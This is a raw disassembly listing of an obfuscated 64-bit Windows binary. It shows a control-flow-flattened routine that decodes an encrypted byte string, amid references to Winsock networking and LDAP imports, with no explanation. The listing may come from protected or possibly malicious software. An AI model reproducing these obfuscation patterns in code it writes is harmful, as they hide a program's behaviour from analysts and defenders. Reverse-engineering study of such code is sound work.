lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140161685
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14016133c
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140161671
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14016164e
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14016162b
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140161604
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401615e1
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401615c0
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x14016159c
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140161578
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140161564
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14016133c
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x14016133c
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x26
add dil, dl
jmp 0x14016132f
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401612c6
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x140161249
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140161ca3
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x140161cda
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x140161d01
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140161bab
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, sil
jmp 0x140161bdc
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140161c3d
movabs rdx, 0xf6ac79feec559fc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x140161d2a
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
jmp 0x140161d85
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14016171e
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x880], dil
jmp 0x140161dec
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
jmp 0x1401618cd
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x140161883
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140161856
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140161ddd
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x140161d85
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140161d2a
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x140161c3d
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x140161bdc
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x1401615cf
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x140161d01
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401619c7
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x140161cb3
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x140161905
lea rdx, [r9 + r14]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x32
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 6
je 0x140161be1
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1401619df
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, rsi
jae 0x140161b88
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x140161ac5
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp r10, 0x1000
jb 0x1401616a7
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140161cb6
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140161932
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x34
jmp 0x140161ddd
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14016194f
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x140161768
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14016197f
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140161bdc
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401619ab
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x140161bae
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140161859
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140161cda
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140161a0b
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
jmp 0x140161cb3
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140161a37
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7a
jmp 0x140161bae
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140161a67
movabs rdx, 0x83f5e230bd9d1fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140161bdc
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140161a94
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x42
jmp 0x140161c3d
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140161896
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6e
jmp 0x140161ddd
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140161af2
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140161ddd
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140161b1e
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x140161d2a
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140161b3b
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x140161967
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140161b58
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140161cee
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401618d0
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x140161cda
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x880]
sub dil, al
sub dil, 0x50
add dil, r8b
add dil, dl
movabs rcx, 0x7ea5521cd04d52ee
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r9 + 0x880], dl
add rbx, r10
jmp 0x140161c3d
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x880]
jmp 0x140161775
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x140161768
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x72
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140161dec
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x46
jmp 0x140161d01
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
jmp 0x140161cb3
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x880], cl
add r10, r12
jmp 0x140161d01
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
sub r9, r12
jmp 0x140161dec
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x5e
add dil, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x880], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x140161d88
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
mov r8b, r11b
add dil, dl
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x880], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140161ddd
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x880]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140161237
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140161234
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140161224
lea rdx, [rbp + 0x1598428]
jmp 0x140161e5b
lea rdx, [rbp + 0x16dc1e6]
jmp 0x140161e5b
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x258]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x30d0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140161e90
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x30d0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x30d0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x30d0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xfd0], 0xe3
mov byte [rbp + 0xfd1], 0xad
mov byte [rbp + 0xfd2], 0xec
mov byte [rbp + 0xfd3], 0xab
mov byte [rbp + 0xfd4], recv
mov byte [rbp + 0xfd5], 0xa9
mov byte [rbp + 0xfd6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xfd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xfd8], 0x3d
mov byte [rbp + 0xfd9], __WSAFDIsSet
mov byte [rbp + 0xfda], r13b
mov byte [rbp + 0xfdb], __WSAFDIsSet
mov byte [rbp + 0xfdc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xfdd], __WSAFDIsSet
mov byte [rbp + 0xfde], reloc.WS2_32.dll_listen
mov byte [rbp + 0xfdf], 0x9f
mov byte [rbp + 0xfe0], 7
mov byte [rbp + 0xfe1], 0x9d
mov byte [rbp + 0xfe2], 5
mov byte [rbp + 0xfe3], 0x9b
mov byte [rbp + 0xfe4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xfe5], 0x99
mov byte [rbp + 0xfe6], Ordinal_46
mov byte [rbp + 0xfe7], 0x87
mov r14d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xfe8], r14b
mov byte [rbp + 0xfe9], 0x85
mov byte [rbp + 0xfea], Ordinal_217
mov byte [rbp + 0xfeb], 0x83
mov byte [rbp + 0xfec], 0x3d
mov byte [rbp + 0xfed], 0x81
mov byte [rbp + 0xfee], Ordinal_50
mov byte [rbp + 0xfef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xff0], Ordinal_46
mov byte [rbp + 0xff1], Ordinal_143
mov byte [rbp + 0xff2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xff3], Ordinal_143
mov byte [rbp + 0xff4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xff5], Ordinal_143
mov byte [rbp + 0xff6], 0x64
mov byte [rbp + 0xff7], 0xf7
mov byte [rbp + 0xff8], 0x5c
mov byte [rbp + 0xff9], 0xf5
mov byte [rbp + 0xffa], 0x62
mov byte [rbp + 0xffb], 0xf3
mov byte [rbp + 0xffc], 0xaa
mov byte [rbp + 0xffd], 0xf1
mov byte [rbp + 0xffe], 0xa2
mov byte [rbp + 0xfff], 0xff
mov byte [rbp + 0x1000], 0xae
mov byte [rbp + 0x1001], 0xfd
mov byte [rbp + 0x1002], 0x57
mov byte [rbp + 0x1003], 0xfb
mov byte [rbp + 0x1004], 0x60
mov byte [rbp + 0x1005], 0xf9
mov byte [rbp + 0x1006], Ordinal_79
mov byte [rbp + 0x1007], 0xe7
mov byte [rbp + 0x1008], 0xb6
mov byte [rbp + 0x1009], 0xe5
mov byte [rbp + 0x100a], 0x77
mov byte [rbp + 0x100b], 0xe3
mov byte [rbp + 0x100c], 0x7d
mov byte [rbp + 0x100d], 0xe1
mov byte [rbp + 0x100e], 0x47
mov byte [rbp + 0x100f], 0xef
mov byte [rbp + 0x1010], 0xec
mov byte [rbp + 0x1011], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1012], xmm0
mov qword [rbp + 0x1022], rax
mov byte [rbp + 0x102a], al
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x140162c9a
movzx r8d, byte [rbp + r9 + 0xfd0]
mov r11, r8
cmp rbx, r9
ja 0x140162c91
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14016211d
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x4a
jmp 0x140162157
je 0x140162c08
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140162b7c
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140162b44
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140162af6
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140162acd
cmp r10, r9
ja 0x140162c88
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x14016217d
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140162364
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140162a84
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140162a63
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140162a3f
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140162a19
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401626f8
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401626d5
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401626c1
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14016269d
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14016267a
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140162666
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140162642
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14016262e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14016260b
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401625f7
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401621be
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140162c64
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140162c3d
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401623a2
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14016237c
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x140162355
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x14016255d
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14016253c
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401624ea
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401624c6
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x1401624a3
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14016247f
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x14016245b
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140162447
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140162424
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140162410
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401623ec
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401623c9
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401621be
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x1401621be
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401621b1
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x140162157
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401620e5
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x70
jmp 0x140162aa2
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 4
jmp 0x140162aeb
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x140162857
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x140162b14
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140162b53
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x140162b69
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140162b9e
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x140162a37
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140162c26
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r14b
cmp r10, 0x41
jb 0x1401629b8
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
jmp 0x140162aa5
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401625b7
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x3e
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x1401629ee
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x140162812
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
cmp rbx, 3
jae 0x1401629c5
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x1401628f9
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x14016250a
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x140162740
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x140162a37
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14016248e
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x50
jmp 0x140162b69
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140162b53
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x140162b14
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x140162aee
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1401627fa
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x34
jmp 0x140162aa2
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x140162728
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14016257e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140162758
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162c26
cmp rbx, rcx
jne 0x140162784
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140162ba1
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401627b1
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140162b14
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401627de
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x64
jmp 0x140162aee
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14016257e
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162aeb
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14016283f
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140162aa2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14016286f
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162aee
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14016289c
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7a
jmp 0x140162b66
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401628c8
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
jmp 0x140162b9e
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401625ba
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x140162c26
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140162914
movabs rdx, 0x183ceef8d34b2488
mov ecx, r15d
jmp 0x140162740
cmp rbx, rcx
jne 0x14016293e
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
jmp 0x140162bd1
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14016296b
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140162b66
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140162988
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x1401627fa
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14016250a
